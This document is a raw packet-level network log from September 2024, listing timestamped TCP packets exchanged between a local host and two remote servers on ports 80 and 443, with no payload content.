Sep 29, 2024 00:53:25.760863066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760880947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.760901928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.761059999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761066914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761073112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761112928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761121035 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.761123896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761132002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761137962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.761164904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.761205912 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.762924910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.762931108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.762938023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763072014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.763077021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763083935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763088942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763094902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763099909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763104916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763111115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763115883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763128042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763128042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.763140917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763144970 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.763148069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763175964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.763206005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.763238907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763246059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763252020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763257980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.763286114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.763304949 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.764153957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.764159918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.764166117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.764213085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.765377998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765389919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765397072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765402079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765414000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765419006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765424967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765429974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765436888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765439987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.765441895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765449047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765460014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765470028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.765501976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.765974045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.765980005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.766031027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.812741995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812752962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812758923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812774897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812782049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812788010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812793970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812800884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812805891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812810898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812819958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.812982082 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.814893961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.814899921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.814913034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.815006971 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.833342075 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.833507061 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.833518028 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.833591938 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.834418058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834424973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834430933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834441900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834448099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834454060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834460974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834500074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834506035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834511042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834511995 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.834517002 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834522963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834554911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834561110 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834566116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834570885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834583998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834587097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834628105 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.834702015 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.834709883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834716082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834722042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834727049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834733009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834739923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.834790945 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.834861040 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.835345030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835351944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835356951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835402966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.835402966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.835510969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835516930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835521936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835532904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835539103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835601091 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.835706949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835714102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835720062 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835731983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835789919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.835793972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835799932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835808992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835824013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.835865021 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.836150885 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.836168051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836174965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836183071 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836194038 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.836218119 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836225033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836230040 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.836230993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836236000 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.836242914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836249113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.836272955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.836272955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.836276054 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.836293936 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.836298943 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.837188959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837194920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837219954 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.837222099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837234974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837241888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837248087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837254047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837258101 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.837261915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.837269068 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.837305069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.837306976 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.837313890 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.837335110 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.837335110 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.837368965 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.838123083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838129997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838135958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838222027 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.838298082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838304043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838310003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838315964 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.838349104 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.838517904 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.838610888 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.838617086 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.838670969 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.839221954 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.839293003 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.839302063 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.839342117 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.839459896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839468002 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839473963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839517117 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.839519024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839524984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839539051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839550018 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839555979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.839615107 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.842184067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842247009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.842276096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842282057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842336893 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.842410088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842417002 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842422962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842433929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842439890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842444897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842451096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842457056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842468023 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842474937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842479944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842484951 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.842485905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.842533112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.842533112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.842988014 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843019009 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843029976 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843059063 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843065977 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843103886 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843103886 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843213081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843219995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843224049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843235016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843240023 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843241930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843252897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843259096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843265057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843271971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843277931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843283892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843302011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843316078 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.843321085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843326092 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843328953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843329906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.843329906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.843337059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843341112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.843390942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.843391895 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.843667984 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843699932 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843735933 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843741894 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843767881 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843780994 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843816042 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843893051 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.843898058 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.843957901 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.844943047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.844948053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.844954014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.844964981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.844979048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.844993114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845000982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845010042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845012903 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845026970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845035076 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845035076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845041037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845046043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845052004 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845056057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845097065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845108032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845110893 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845117092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845122099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845132113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845154047 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845163107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845166922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845169067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845175982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845180988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845185995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.845216990 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.845623970 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.845660925 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.845719099 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.845719099 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.845726967 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.845896006 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.846118927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846126080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846132040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846211910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.846436977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846443892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846450090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846455097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846467972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846512079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846517086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846520901 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.846524000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846535921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846541882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846579075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.846647024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.846697092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.846987963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847043991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.847183943 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847189903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847196102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847208977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847214937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847259045 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.847276926 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.847320080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847326994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.847405910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.847465992 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.847500086 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.847534895 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.847541094 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.847579002 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.847729921 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.848730087 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.848735094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.848741055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.848747969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.848748922 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.848759890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.848766088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.848818064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.848819971 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.848825932 CEST	443	49715	162.159.130.233	192.168.2.9
